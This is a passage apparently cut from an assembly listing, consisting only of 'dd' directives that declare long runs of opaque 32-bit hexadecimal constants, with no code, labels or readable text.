671200E2h, 0EFA21B20h dd 2D25B7DCh, 0D5F8C873h, 0AE7403FCh, 332B76C1h, 3472A291h dd 42034B48h, 0B0ACF68Eh, 0A8DF9074h, 0FE730E2Fh, 0F961BBD4h dd 0E0D6F86Ah, 0AE0057E2h, 0E9BAE387h, 0ED480h, 0F824FBE1h dd 0CA118DEBh, 61FE4C01h, 0C2839760h, 6F4BE8h, 0F6DDAA81h dd 0D235B25Dh, 0BB59E70Eh, 0E33EE36Ah, 0B0F1D0F0h, 75880F05h dd 0F20051A8h, 0C0BA9F1Ch, 0DDF36E12h, 176A50E0h, 3967914h dd 5FF8CCD8h, 4032ADB1h, 4649C98h, 6D8EA30Bh, 66200BABh dd 32FC3F7Ch, 66039D3Ah, 0AF0B9CC6h, 92AB7AC0h, 0F22BAC1Ch dd 0D042AE84h, 0F00FF885h, 0C0B98E31h, 2A08EC15h, 3C849024h dd 649C87E4h, 0CDA280B6h, 60B9E91Eh, 0D684BCA0h, 690B12F4h dd 0D8C89392h, 775907AEh, 10377673h, 0EC22F411h, 71E5100h dd 98561D71h, 0C6E007EBh, 502A1CABh, 6C781B46h, 0B226A500h dd 0A206E602h, 0EA400024h, 6B993B0Bh, 3300ED59h, 0F3B36611h dd 0A7345Fh, 8B61D837h, 0C2C8803h, 0C245A31Fh, 7A507700h dd 10DAE6h, 8CDBE341h, 8296180Fh, 2B7E9D01h, 39490AE1h dd 1C4E7F30h, 0BE998967h, 55F28F00h, 1AFCA510h, 0FA12C6FCh dd 0E2019EE5h, 0B204544Bh, 7F1ACC8h, 16070989h, 0D03EA055h dd 9D0364B4h, 0C630D7BEh, 0B687D0D9h, 0FA450E10h, 0BD00FD77h dd 307338Eh, 59A70F30h, 0C6EC930h, 357729C2h, 0D10F6248h dd 20E410AEh, 0B4F8BBA2h, 0A6E2001Bh, 0DA58DB2Fh, 600A46Dh dd 7F73709Ah, 23AEF11h, 2D8F0732h, 95601E65h, 380F6A2Bh dd 0BED516h, 0AD944EDBh, 1C9C0EACh, 85A05446h, 0A6C59888h dd 8C6AC90Eh, 4E260079h, 206EF9h, 0A9834CB1h, 574A7F5Dh dd 68B0B376h, 3DA12A39h, 57D0070h, 1D948D1Bh, 0CA020071h dd 0A80E4C5h, 69009D87h, 8843EAC3h, 197CFAFh, 3E7F3D0Eh dd 50327C04h, 4B120D84h, 0BC5B3B28h, 0AE2C6500h, 43A4504Fh dd 88235451h, 10D900D2h, 0A1777E57h, 0E701FFBCh, 6F7558F0h dd 0B260F649h, 0EC98009Fh, 0AF6A22F2h, 0BF00B6D0h, 62AD97ABh dd 84FCF5h, 993DDF2Bh, 59572483h, 0B6F08703h, 0B0C19B18h dd 0A74601Ah, 0A7096B3Bh, 1882097h, 53E21EF2h, 0D4E6BF54h dd 0C7070E35h, 74BA7ECCh, 63958CB0h, 0FEF503FDh, 48313AB7h dd 8E0CBC00h, 0A6CFC2C3h, 0FF400086h, 4CD9B814h, 0E0059B1h dd 0FED2CB7Bh, 0B8F2C34Eh, 0CA8F2E49h, 785718E0h, 0F80098A0h dd 1661B932h, 1D78050Fh, 408D2414h, 0ECC52183h, 98B070B8h dd 0EA9A4A1Dh, 0DCE24500h, 3A24D19h, 84522CC0h, 0A5A8741Fh dd 0A10002F7h, 32A78629h, 0D74DF6h, 0A4BD65D4h, 0F3C5C9A2h dd 6389CF00h, 66DA0F9Eh, 0AB4F24DBh, 8EE19054h, 77160D2h dd 90BA8Ch, 0A43ABCC7h, 3FDEE4B0h, 450B4600h, 59FB4EA9h dd 6EB50711h, 207ACA54h, 14EC44E3h, 0E4A78D03h, 0C828536Fh dd 7024CBCh, 8E69CB47h, 0E6860097h, 3800C5F0h, 4F4A5227h dd 0FA05CADh, 947B90D9h, 5DE48EBEh, 0F31699C0h, 2401DFBFh dd 0A5FF0273h, 0C03FE8ACh, 7A17FEF2h, 0A8489228h, 0EE7700Fh dd 0ECF0E020h, 12B1A991h, 0F5BADFh, 94FFF302h, 3D7EB888h dd 5F1AA40Fh, 0EC0B00DDh, 0FC1D89D1h, 0FE8D30DEh, 45CA2258h dd 8B99D400h, 2092ACCEh, 0FD0FE77h, 22F6C967h, 6CB1DC21h dd 89E1E07Bh, 3FC8B612h, 0F4A92420h, 80AB486Eh, 0F5348E00h dd 24CDB0B9h, 9B7BC400h, 2A5C104h, 6E2F0122h, 3ECE2C9Fh dd 905C208Eh, 0C53AE91Ch, 0B9C71780h, 0FCBD4Eh, 99F9DD15h dd 0AD5F2B28h, 782490ECh, 0AE306054h, 260EA8E8h, 81287307h dd 0D7FC9036h, 86B9CBEAh, 2AB4244Eh, 340BF824h, 67230E00h dd 24266360h, 0CB4Dh, 7A059FD1h, 0D00056B2h, 0C5CD4411h dd 59A05Dh, 2C4CF2D2h, 0AB77F738h, 41405658h, 4044C4FCh dd 552A600h, 0BD22D4DEh, 0FEF07486h, 5E9A0063h, 1844C3C5h dd 0DA002CF4h, 5B4EBAE7h, 0F924834h, 0CC018815h, 8740C525h dd 0D928E0B7h, 1D01CFDAh, 51FFBDA4h, 0FBE8D7D3h, 471700BBh dd 0EE8C9577h, 0A1FA328Ah, 0FD04F97Fh, 4A71BEAh, 18EB6880h dd 7A0B80EDh, 6A81071Dh, 0BC0152C7h, 0A1519B57h, 0A0408297h dd 34F34Dh, 54EF53A3h, 300F3303h, 264DC3Ch, 579E152h, 0F916C026h dd 0DF50796h, 905B24C1h, 278285E2h, 78A3B638h, 7FF8D700h dd 0F0889B06h, 0AB3C0090h, 0A9039893h, 0EC007E2Eh, 0A06EDF50h dd 39DAED6Ah, 0A10ACCCAh, 81D05609h, 72FA7182h, 8EC840FDh dd 4F708108h, 0A000BC98h, 3F731C06h, 7834110Dh, 8A490077h dd 0B19FC70Fh, 0CB008219h, 0EF32CF7Fh, 98F4C4h, 0B55D4007h dd 702BE334h, 0FDDE6400h, 0BFEC19Ch, 40F90086h, 1B07B046h dd 0E71696CAh, 1500127Ch, 3F4748F1h, 0AA9900BDh, 14C139D7h dd 0E5023852h, 9BC69A1Dh, 79514031h, 894204CCh, 806781FCh dd 2EC2B48h, 0B2090F72h, 0FA759A4h, 1C84F2Dh, 0C6A1472Ah dd 58F1DD8h, 0EE045808h, 502AC7AAh, 0D718BA29h, 0DF9D5500h dd 66BBC05h, 0B50A01CCh, 2E1EB1A4h, 3BD83329h, 0C7348133h dd 7520241Bh, 0A0DF0h, 91C9C19Dh, 0CE112B1Ch, 9F581700h dd 5D2F9445h, 0CAE6B6h, 3D993C31h, 8C83A385h, 0FF7738A0h dd 0B5EDD800h, 6B48BB8Fh, 3B907DB7h, 70007568h, 0D2BFD1C9h dd 0CC74D049h, 58247E00h, 0B8FA7319h, 0C4EB003Ah, 0CDFB1840h dd 0F100A651h, 0DDD7CA0Ch, 2C7F4C1Fh, 16B03EB7h, 0F204414Fh dd 2003F0F8h, 3B7BC6AAh, 0D6DA0200h, 48A1A331h, 0E5011362h dd 9F405DD7h, 0EFB2C2BDh, 0F448EA8Bh, 0E100E307h, 1FC2A359h dd 9FAD9E2h, 7A1328A8h, 0A10E10A1h, 0C0C0D2ADh, 980E462Bh dd 8E458019h, 1D069633h, 121F6BCh, 47A1F27h, 0F8E1375Dh dd 0C5102EF5h, 0FA0EF473h, 935E36BDh, 0DCFC59h, 2590F176h dd 96F7D8h, 0A68AA8B3h, 0FB2F6AFAh, 0D1ADAA00h, 7576519Bh dd 54711C98h, 14800C3h, 9352CA2Bh, 633BE93Fh, 0EC8FA8h dd 6D35EE60h, 0F3EB4753h, 9744F0E1h, 0B1FDE300h, 0FFE6E2D0h dd 6175075Bh, 0C924B9CEh, 7A20488Fh, 8D55A144h, 1CE2AD03h dd 5DCA4Dh, 602CE618h, 2BAB76B6h, 0F1383E70h, 5F7F98FEh dd 0FDA10920h, 2BF28040h, 2CCB016Bh, 0AB759B15h, 7AD5C4C7h dd 0E9E15303h, 6AA013Ch, 0ACFEFD18h, 0EC2C408Fh, 1607F739h dd 8F094CDh, 39F7074h, 0E78A99DEh, 2A09C5Eh, 40726DCEh dd 0DD67ED03h, 30E025BAh, 0CE091B18h, 0E083C2B8h, 0B4EC155h dd 0B0E83CBBh, 0E4A04580h, 0ED0FFA95h, 0E02E2A4Dh, 0CFFF99F3h dd 41966031h, 0B1304752h, 0ED7F100Ch, 68258D2h, 6EFC709Ah dd 64606928h, 0EBA06598h, 2418193Eh, 80BD6050h, 0A1E0AA71h dd 395247h, 26CBBA32h, 4B200CD2h, 9ECD1500h, 89028377h dd 13860075h, 49DD23B7h, 41008FA6h, 7EF32008h, 1C52A16h dd 77395663h, 407D1DC4h, 0E28C7FDEh, 0D251C175h, 0C6041E7Ch dd 14513931h, 8C6E32B8h, 0CF5B591Dh, 36C0833Eh, 31E82B1Bh dd 6E5224Ch, 71548F47h, 87F4229h, 10D4194Eh, 5B63848Eh dd 900C615Dh, 888A516Fh, 4100341Dh, 1F1895C0h, 0DA577Fh dd 1CA25211h, 0E0AD59E9h, 0EA53B000h, 0DF1DCF9h, 24BA7AD9h dd 1CBF399Ah, 773E7036h, 0A2075517h, 20033CF3h, 0CBC544E0h dd 62FB0408h, 80BA60FFh, 199FB37Dh, 0A7E8C202h, 804F83D7h dd 0F5DFCEC8h, 4D99006Bh, 0FA37716Fh, 0A2008091h, 0ACA62EE3h dd 0F182DFh, 0F0FC2517h, 0EC9D3EB9h, 33BB418h, 1FCE7E20h dd 0C0D126C1h dd 658CF82Bh, 4201E210h, 0B8D6F352h, 0E8F0BC24h, 0BE6400B3h dd 0DB9F84CBh, 1902B06Ch, 24B17E52h, 86CC80D7h, 3380826h dd 57CBC299h, 0EBC88F73h, 7601B2D4h, 0CB15C17h, 2CC98C3h dd 0E022501Eh, 94F10121h, 0C469C69Eh, 0E49FD05Fh, 8B037C00h dd 5350E295h, 0C5DE05CEh, 1AC385h, 5B93686h, 1FEE9779h dd 3321B100h, 5296E695h, 9FA100DCh, 94C82D2Fh, 3D0EBCE4h dd 0B081EEh, 0F46C96F8h, 813F480Ch, 0A2941B00h, 3533AD6Dh dd 0C349B800h, 9D548469h, 4E4B2ED2h, 38342872h, 0D05CD376h dd 127411Fh, 0EFA21EFh, 5031E07Bh, 23000571h, 1F0C624Bh dd 72D65F9h, 7212EC03h, 2E0E8084h, 0EF00FDC8h, 0FB8A5D16h dd 0A2CEAD4h, 93FC9CBCh, 0C35C07F8h, 0ACA18FBDh, 0FC6C26E6h dd 560B8D3Fh, 0AE952A3h, 8407FE2Bh, 40BEFD7Dh, 5133E16Bh dd 1BDE00C5h, 0AC215370h, 0E31437E4h, 4E0B883h, 76AAF27Bh dd 5E35ECC0h, 0B1280264h, 57A7F807h, 6DED7760h, 45004EEEh dd 0E6A2DBFDh, 428CCCh, 0A87A1640h, 47C178E5h, 1DF24E0Fh dd 0A4E017C4h, 0B8581D2Bh, 0AD790074h, 2FC7114Ah, 6267CF13h dd 56360F00h, 0A9FB6Ch, 0F71937FAh, 13B9241Dh, 0CB2EC503h dd 9759D5F4h, 5C7880F9h, 0E752A42h, 1AEC0CE4h, 73997740h dd 0D60EEA9Eh, 0A9A3F535h, 0BB00809Bh, 0BFDDAFCh, 0DE56A085h dd 0FEDB9901h, 0A864E0BEh, 1400F6B8h, 50F7D6A4h, 783CA190h dd 5BCA03D3h, 35B372EEh, 0E85986E1h, 9500FD96h, 8BCB8A92h dd 0C2568Eh, 64E7BE04h, 4E1C1724h, 83D14700h, 7E46A338h dd 3DE6B5h, 142DC5DDh, 9F67ADE9h, 7D5D6E03h, 0C81D7C3Fh dd 0E5B6EEh, 0FCC7AFDDh, 60BE898Fh, 4CEB8700h, 56E3D236h dd 0BFB600CAh, 92A5629Eh, 0DB600E54h, 0F7BEC218h, 0EA32FEC4h dd 0D29548CCh, 0C9929609h, 18CE0055h, 0EC5C44F6h, 0CFFE3F01h dd 3BEBB500h, 848D36D3h, 88733300h, 58213DB2h, 0CB60027h dd 44130189h, 15009174h, 0F36A35D0h, 19F90C1h, 0FBCCB5B8h dd 0FFE73DC5h, 38255080h, 5ECBC300h, 0DC03BBE9h, 80A0084h dd 86A05685h, 1E486BFAh, 479E00FCh, 1975A7F0h, 1AF10392h dd 3B448D7Ah, 14EF18C0h, 0B5B66D0Ah, 0AC00A002h, 66B20161h dd 0A8820377h, 8BFE4AB0h, 591778B8h, 0A13FAE00h, 0B524083Eh dd 1381001Ch, 4F72DBC1h, 2D3D18A9h, 0AE9B05B8h, 7040B43Ah dd 0DF172E9Ch, 3D890C2h, 711D2A32h, 8CE89A6Dh, 110B83C6h dd 0C75BF5h, 313F4760h, 41BA0377h, 0DC3CF784h, 0E6A0FB90h dd 291BF402h, 805127AEh, 3D1388A9h, 0A156005Ch, 3FFDB37Bh dd 75F2E396h, 0BD658E00h, 2AF951D4h, 66C600A7h, 96A8FF6h dd 70ECDB0h, 805C62FAh, 992ADC5Ah, 190F00F2h, 504D0AE0h dd 0ED00963Eh, 3A054CDh, 0FA393A9h, 0D8512163h, 9A89FA83h dd 0EAA4D0D0h, 0B1A64600h, 0D27F6FAFh, 35340FF2h, 9CA3B699h dd 0D9D0319Eh, 4D3C73B3h, 5D600017h, 0E48A8D6Ch, 17700B9h dd 0A6DEB4A1h, 0F000AACEh, 0E79FB028h, 24DA82h, 81100141h dd 0E6487BDDh, 2A61EA04h, 0B880956Ah, 0F64AE443h, 1F08074Dh dd 0A33F6D06h, 0CDC0A6E7h, 6A007F16h, 68DA0C5Ch, 4FC858h dd 12F51F74h, 78DD559Ch, 0FE704D00h, 162AED87h, 800A72ADh dd 0BA0B4F66h, 330CE3Fh, 880EA764h, 96235Dh, 5EA2CC43h dd 57E8415Fh, 0F6073876h, 97189253h, 0BE7E24C0h, 13B8A010h dd 0CC9307F3h, 0A1D12Ah, 1102DF78h, 0B450500h, 0CF73AD4Eh dd 79843BC7h, 1A544B80h, 29706F41h, 0BC0B9900h, 69AD012Ch dd 23EE00E3h, 0D10520A1h, 20C0789h, 102C28D0h, 6EB08Ch dd 0EEA141DCh, 0CAC095C9h, 463E0400h, 9B518810h, 0BCFE54h dd 66B6224Bh, 11442A4Eh, 91963Ah, 10B0327h, 0B09CF47h dd 0B7292839h, 2180538Eh, 84BC8595h, 2DAA0500h, 10FE4D4Ah dd 0DDA901D9h, 2C97F3D2h, 6A0BFC69h, 0B8F578B7h, 74330004h dd 991C3653h, 180755BAh, 11375C4Fh, 0AFE79880h, 75617F3Ah dd 0FECC008Ah, 0A536951Fh, 0A379035Dh, 273D4801h, 9C4C57AEh dd 503AF960h, 196D0A8h, 0BE780A06h, 0C83B321Eh, 5100C2A4h dd 31F02BB5h, 502583h, 9956A5A1h, 48B339C4h, 9FAE1400h dd 4D7D90BAh, 0ECCAEC35h, 668F00F5h, 0F94A6AEEh, 7F3FC182h dd 891B1C4Ch, 0F8B906C3h, 0DC700053h, 1E8FDB69h, 0E613A4F0h dd 7E0303BFh, 809ECA66h, 3F44BB3h, 0C504481h, 43B856A6h dd 300003DCh, 40272853h, 11E885h, 6792A844h, 0E960A6A4h dd 1D0016EEh, 95454073h, 49710h, 79230946h, 0CEBE0C89h dd 3000DCE2h, 9E4F1CE4h, 190D4h, 0A13A612Fh, 0E1BC79B0h dd 477E2E00h, 0EABFD1Ah, 513C026Ah, 0C501D484h, 0A31526C0h dd 667AC300h, 0A7F53109h, 2D4E0A69h, 9AAF71h, 0DC492A5Eh dd 82007A33h, 0E0054DCFh, 3BE992F0h, 5900D2F8h, 0B846232Dh dd 0A5000418h, 2F24305Fh, 72E13D0h, 0D136B5B3h, 6181FFB7h dd 204E0748h, 3F119104h, 7900ED7Eh, 0B1A73892h, 0CE3BDB67h dd 0D4E380DDh, 0A3B8877Eh, 61C10035h, 0B28FB0BEh, 0F514DED3h dd 2C0D8EDh, 0C1ECCFEEh, 1A8AE029h, 7BC90274h, 0D5F8EBAFh dd 37DFBFC0h, 3366F301h, 0A776ADF6h, 82E42BC5h, 9752002Dh dd 0B9FF173Ch, 0B3ECE311h, 79628016h, 0D9C1D800h, 25BB8Ah dd 0CDE601F4h, 2D75A560h, 0B0F5A43Bh, 0E46112Bh, 742000EBh dd 676F027Eh, 0B1001887h, 0D4F5312h, 6DC415h, 1F2CFE4Ch dd 3FC8A5Ch, 80044600h, 0DBB5D693h, 260239DDh, 90E22280h dd 0C7CEA1EAh, 68C38B00h, 0F0AB608Ch, 0AB40FD0Ah, 1EA49833h dd 4FB1EF75h, 5EA06B72h, 0F4AE6530h, 0A92FC509h, 8F6460D9h dd 0CFB102E8h, 3580AC1Dh, 39E215E0h, 0BB603C0Fh, 7D558752h dd 427B33F0h, 5C1C0219h, 5D3E6F20h, 490824E0h, 3D006CB0h dd 121B8C69h, 38DD6C6h, 6A8BA2B2h, 684CDEF1h, 0FB0F009Ch dd 8744D950h, 3117EA31h, 589EBDDh, 0AF2985DAh, 0A6C3869Bh dd 2B38A0E3h, 5118C099h, 85309F13h, 83CB4207h, 0E6B069D1h dd 3ED516h, 0B5728D59h, 0C3765F62h, 3B400600h, 80A2DC86h dd 0A65E306Ah, 9B196D40h, 4CC64128h, 71685160h, 83EF94h dd 785EF93Dh, 0EDE1DEAEh, 64A70B0Eh, 0FE31A09Dh, 47FC9Ch dd 4EC805F7h, 0A05794B8h, 0E4536B00h, 0A98FD4EFh, 2B6E00EEh dd 8C5B23E8h, 95F031E1h, 64363D07h, 0F1503C8Dh, 3DB7CFEh dd 0DAC42E68h, 85B8CBBDh, 0F704E1ABh, 28B77EF9h, 143F91C0h dd 0D7A7007Dh, 3EB8CC74h, 4C00E550h, 3D5BF194h, 0F8DECDFh dd 410FC518h, 785130E0h, 0A001CFEh, 4E7AB886h, 0A6A03Bh dd 8E98EA0Fh, 0CB9B7921h, 180B1500h, 5D8D279Ch, 0AE3200FDh dd 0DC4A22C9h, 70FEF971h, 3BE04103h, 0C04F08EDh, 121C5786h dd 0C0063AE9h, 0C53ACDCh, 9A0E6F13h, 0A8CF6E00h, 7A34694h dd 57C0BE43h, 50B11060h, 820055FDh, 0A1B9F7C9h, 3DEBB16h dd 628377A7h, 51001035h, 181FD357h, 9BFCE8h, 44F79848h dd 8D9AE76Ah, 14B6AC02h, 70E454F3h, 57BA3EA4h, 0F17CA887h dd 0CCA4C04Eh, 0AB244187h, 0E0991D0h, 7ED8C0FAh, 9121000Ah dd 1FEF8E18h, 3C077F94h, 985C9010h, 0D2B45047h, 3D87E700h dd 9706CD41h, 8332302Eh, 4230C0F6h, 6E9DE2C7h, 8718D500h dd 26FEAF0h, 40794E10h, 953E83ECh, 9F7C1BADh, 49CA4C00h dd 46A1B63Dh, 6EFA18E0h, 0AB02F8ECh, 11593F19h, 7D202939h dd 0D4D900F4h, 0B5B7F231h dd 0E12C912Ch, 0B400A093h, 69596A4Bh, 5530C742h, 0EB4F5012h dd 3600EC91h, 6EF22A60h, 3A0A791Bh, 9CA4E0D9h, 0C79306B4h dd 0F15610C4h, 4B6BE004h, 7810C082h, 1F5DACDCh, 0C0367A00h dd 0C3488CDAh, 2A230089h, 0CF7D416Bh, 4B327FC4h, 20D229E2h dd 0C6EBA386h, 0A519D03h, 81B2E8D0h, 0FCE0CAF7h, 901600DEh dd 0D372C0C5h, 0F60006E1h, 0EC10A67Dh, 618B42h, 8ABF735Eh dd 28087FE8h, 0F1161400h, 0A81B4C75h, 0F180048h, 21413B47h dd 8C00EACEh, 0B5E89007h, 529C5Ch, 51D7C6A5h, 0ECBA03B8h dd 0F821E500h, 0A48355D9h, 5449001Eh, 2E89285Dh, 0FA0086DFh dd 33C7084Dh, 0FA3DAE0h, 1E8EDDEh, 0B7C01B61h, 9047E5h dd 34BFF75Bh, 0D71C6600h, 11D8D6FDh, 3346004Eh, 0E5F608CEh dd 0A202CFD0h, 0E99CAC82h, 5C83E036h, 4113007Eh, 1F74263Dh dd 8C036C49h, 1B8EABFFh, 0B07807FDh, 0F0C547EAh, 97BA9DB8h dd 4453700h, 0E235FB3Fh, 23B3006Bh, 0E8DE8543h, 0A200D55Bh dd 9F47AE86h, 256A76h, 0E77D8364h, 8E82A94Eh, 0E86E000h dd 0D2BE8870h, 8D1002Eh, 6EB9F007h, 0C575BF97h, 0C18C9900h dd 76BE59A8h, 0B5532E5Fh, 62D9003Fh, 837F503Ah, 0FC9EA72Ch dd 8868003Dh, 7D583F1Fh, 3E340096h, 95DB3191h, 87488351h dd 7CCC261Ch, 17DD6800h, 0FCDF21Ch, 0AE75CE08h, 0DFE81A00h dd 763AD70Bh, 34870056h, 0C792FFD9h, 9FFC01E0h, 0B42C1E51h dd 78EDEC58h, 0DE9E8F00h, 6E7D39C0h, 4C82001Ch, 7E0A5AC5h dd 55008BF7h, 0DB02AFCFh, 71D559h, 9E12C783h, 0F9DD7B13h dd 7C7DFC00h, 8E2E1193h, 25E601E1h, 0BB14A8C0h, 7AC5308Ah dd 0E50A3A00h, 41BEAC57h, 90020047h, 0E1EDF631h, 0B9004D39h dd 0D7F79B1Dh, 94AB5Ch, 470A0776h, 4B1105C6h, 242A2C3Fh dd 0C40052FFh, 0C970384Ch, 1292004Ah, 4D8B3A33h, 8E002FF6h dd 866C5098h, 0D6F776h, 58A52688h, 7D40127Ah, 0CF1F7F00h dd 0F96BAB9Eh, 0F8681E7Bh, 0D75F8A2Eh, 9CEE0780h, 74C551CAh dd 0E3803017h, 542A2400h, 3728580Eh, 5A655C0Fh, 2670C700h dd 17F3ACF2h, 0DD847750h, 0C546D106h, 17F0B944h, 1F4E29A7h dd 1B6642CCh, 2068DB17h, 0AC01359Fh, 0FF0F2224h, 0D82060AFh dd 5E200732h, 1025A693h, 4D0C3957h, 4A26AAFEh, 1F804AB2h dd 1734813Dh, 830F004Fh, 22957DD0h, 461DDBFBh, 4440E580h dd 675E895Bh, 0A7350F93h, 2FCEC95Ah, 0B20A1A20h, 100DA59h dd 2EF43C98h, 481D4325h, 5048EFB5h, 804D7B14h, 0A0C11000h dd 9FBAD9B6h, 1AFCF300h, 0CBEB3A71h, 0E5D43C98h, 279E9A02h dd 0E44078A0h, 0E1C09480h, 0EADD1840h, 0B775001Ch, 67297B2Ah dd 0BA00F08Fh, 2CDAE5F8h, 3C565C05h, 6B0052C9h, 757B1E78h dd 0A100077Eh, 196EF1A5h, 0F64AE7h, 0A7595C89h, 0BA02AA44h dd 0BCFE8400h, 75EA570Dh, 0A08000FDh, 157EFCCDh, 0AF01EBF6h dd 8681BE92h, 0E0E8D2C1h, 0D44A00F0h, 5ADD25FCh, 0A9C0556Bh dd 9967214Ch, 43054C19h, 49743E03h, 0CEC05D96h, 470738C1h dd 4BBA9F52h, 0DA6B62E0h, 0A540E73h, 20A0AA80h, 3492CE2h dd 4C81B000h, 511575E4h, 0E41767Dh, 3F610A9Ch, 5FC0D44Eh dd 543D0242h, 0B03ECC00h, 0E1844DFEh, 61D6001Fh, 0D9BF46BCh dd 94009566h, 21DDD558h, 390E7822h, 4E802E0Ah, 7CF1C4B0h dd 0D33E0523h, 4A9E8037h, 0A2BC5BB1h, 589B00BAh, 0C3A42A3h dd 0EB00CE2Bh, 62300626h, 7434C7Bh, 0ACE0288Ah, 5FA1604Ah dd 0F50059B4h, 0D9490664h, 0F56B35Dh, 0F97E95B9h, 0BE7B35A0h dd 8A05DBCAh, 32D392DDh, 608C0FC2h, 0BFCBA2h, 5D80742Ch dd 0E4A7FAE9h, 0B81C0A01h, 0A5CD35F9h, 2482A760h, 1E7E81FDh dd 0E7840077h, 5F56AD0h, 0A2FED107h, 7496E26h, 1E0EBA74h dd 0AD27E000h, 72B3C49h, 0B29D65F3h, 285510B8h, 90006AF2h dd 3C85AEDFh, 17CD25h, 91BF7B33h, 1CCC2C38h, 0D18F3600h dd 0CF541E8Bh, 68170161h, 966DD577h, 0AC608318h, 0A3DAC68Eh dd 0E859C00Fh, 654338ECh, 307F1974h, 815F8846h, 2667110h dd 18407A9Ah, 31B1A6Dh, 0A45F4AA9h, 0BFA1C2A5h, 0A73960F5h dd 1AAD5E00h, 9E81B0Ch, 6D5400ECh, 0CC5DC815h, 0E30662D2h dd 0BA142A95h, 0A30F0088h, 0BC995F3Ah, 0D10CFFCCh, 0B6AA6616h dd 0FC7B05DFh, 0B84E1Bh, 0C304605Ch, 0CC0C773Ch, 191A656Dh dd 0DAED0098h, 8B1BF457h, 2070ABFCh, 0BB4C2518h, 0EDC369h dd 9BB13215h, 7F2814B8h, 0E4D05F00h, 0CE92CB2Dh, 31C400A6h dd 0E64FF9EEh, 0B90EED35h, 3DE2C60Dh, 873EFA40h, 0A4D20h dd 920B600Eh, 48588B56h, 5320FD71h, 652603D8h, 57326F81h dd 20A877E1h, 350CF00Eh, 0B1197F51h, 36D3008Fh, 0CC147396h dd 78F2F6FBh, 8D0FA439h, 29E866CEh, 106E0h, 6AA5AAA3h dd 1AAB0C58h, 8306074h, 897420E7h, 363E00C0h, 0C830BB52h dd 73007AD1h, 0F6F512BCh, 296559EAh, 1E0D7F8h, 1B0A9AE0h dd 3822FFh, 95E7A70Ch, 0E1CB462h, 20CC25E3h, 0E5210D8Ch dd 60E7BF00h, 0C4F25E15h, 0CE34E0BDh, 0E101FBA1h, 0E0BCB546h dd 0D1C90745h, 0DF140055h, 0B8A6E005h, 828880B1h, 1D9D1828h dd 4EEFE10Ch, 150A348h, 8FFF3A43h, 0E4D0C3FCh, 0D820C727h dd 0E1003B17h, 54A15C19h, 0CA4E7100h, 0A6E12881h, 583B602Fh dd 0A9FBE861h, 3921D703h, 0C07855CFh, 0DFF15Bh, 0F47F25D1h dd 5E2A35E3h, 7AC33300h, 154F6786h, 0C07D4B3Ch, 43902083h dd 460C9800h, 0D2729C47h, 83B00E5Dh, 0F7A04FB4h, 5407977Dh dd 231D39h, 15BE8DFBh, 1E3C01A5h, 81F1E7C6h, 0A8908FB0h dd 0FB60E279h, 0C8008631h, 320FE1CCh, 3F385FF9h, 81806066h dd 1BFEE89Fh, 0B3004784h, 0C942C7Eh, 0D9E1D4h, 0DD073B87h dd 83995396h, 24866800h, 5BDEFA71h, 72A737Fh, 7EC78A79h dd 0A5AE7120h, 446FFC04h, 4DEF4E0Fh, 898F40A3h, 74BFFCDh dd 0BBD19819h, 0E7A64312h, 85002079h, 638DE989h, 7F9CB7Ah dd 0DF1C7E4Eh, 0C2907CA8h, 78A53201h, 5064C079h, 0AF82B080h dd 779F44A9h, 0F14DFA01h, 98AE6A58h, 0C9837980h, 651BF93Bh dd 1A72B507h, 1443B4BDh, 0DA20004Fh, 0F0D53BE8h, 850D9960h dd 68D91826h, 46C85C06h, 898C016Eh, 1263FF2Eh, 0BD888D0Ch dd 16890383h, 4ACEEAA0h, 9144D7B1h, 0F4846998h, 0CD7D813Bh dd 154C52B6h, 3B1FD920h, 0F0CDFC02h, 846B302Eh, 0B2ED9048h dd 51135C01h, 0DAC4661h, 78203Ch, 2AB08C54h, 0A7E83FD9h dd 0B65F7600h, 0C526AD8Fh, 81E0007Ch, 94F8ACE2h, 0DE003D75h dd 0E65FDD43h, 0EC9F6Ah, 5D7F6F8Ch, 75A120Bh, 7E62D600h dd 0B8C96CCBh, 0F83600E9h, 0C8B6F97Ch, 0C008088h, 0DBCEE6B3h dd 0EAD06B15h, 40B42E58h, 99B005Dh, 559C96BBh, 0AF63A500h dd 1ADEC17Eh, 0A26C0640h, 8BA1E02h, 9D7D0700h, 39704404h dd 8CB6A0A3h, 2E7600B5h, 0BF5B01F6h, 80187BA2h, 5F30AEDEh dd 3224072Dh, 0E3444F1Ch, 0ECE0A856h, 20C33938h, 7E7A57BFh dd 920D0008h, 95BAAF2Fh, 41C3ED3Ch, 60555h, 0F5C0A520h dd 0DC66B1C9h, 21C55200h, 1E39193Dh, 1CA1D4AEh, 826F140Fh dd 0EA8E7FC9h, 0D1D43DABh, 4804313Bh, 0A98C67B4h, 0F2399587h dd 1A917F60h, 13B9FBh, 6E21C0E2h, 0D89AC6DDh, 0CB9B5206h dd 3048BF1Ch, 0B43145F2h, 4807FA74h, 75FD104Fh, 89180D61h dd 0E065EADBh, 0DC22FC02h, 0D31F4A70h, 0F48D808Ch, 0CCD1308Ch dd 8282693Ch, 24132808h dd 252F20A2h, 0ACF6EEA8h, 0DB206751h, 0D6E02100h, 8D56A6BDh dd 0DB2D0092h, 24E35397h, 0C83E6704h, 0EEFF0A37h, 2788B829h dd 5D86BB76h, 11CCA056h, 74A1A20Ah, 850010F2h, 512D5836h dd 0F75F05B4h, 814A1B5h, 1B810DD4h, 0EFCE0A25h, 4021883h dd 997CA592h, 0E2A38200h, 0E7530516h, 0B8CB5214h, 0F0ED1871h dd 8141515Fh, 30443E41h, 0DCFA2001h, 0ECC4072h, 2108601Ah dd 25B28865h, 0D41EE273h, 555F90F6h, 1CCC54h, 983C7E3Eh dd 3A5D0DAFh, 0D451286Ah, 0A06122FFh, 0A3ECD800h, 8149B540h dd 0FA37B8D7h, 264C002Fh, 0C2D587B4h, 950AE539h, 0A0C6F804h dd 4DD86798h, 0D8C1099Dh, 38131FABh, 0FB923DC1h, 3311480h dd 26687000h, 279BE211h, 0FA731DBh, 53AD51F8h, 8313AB0h dd 0AED299A3h, 67A7FC00h, 0C3CD1602h, 408A1FB9h, 0C2DF8650h dd 12FA021h, 21B2C0AFh, 10886D60h, 920457B6h, 0C8223C94h dd 0A712B300h, 93216DBCh, 85089E1Dh, 4F40B718h, 0A18D4CC8h dd 0C8A32414h, 2205F984h, 72A821ACh, 3718D0C3h, 0B1D210Fh dd 5697815Ah, 2BD405D7h, 5C1A3068h, 0E1AE4F39h, 672A1E09h dd 77E0113Bh, 1139B987h, 1BDF41AAh, 0DCABD9ACh, 79005392h dd 5A7EE767h, 6025121h, 6B5FF282h, 249198A2h, 21E3398Eh dd 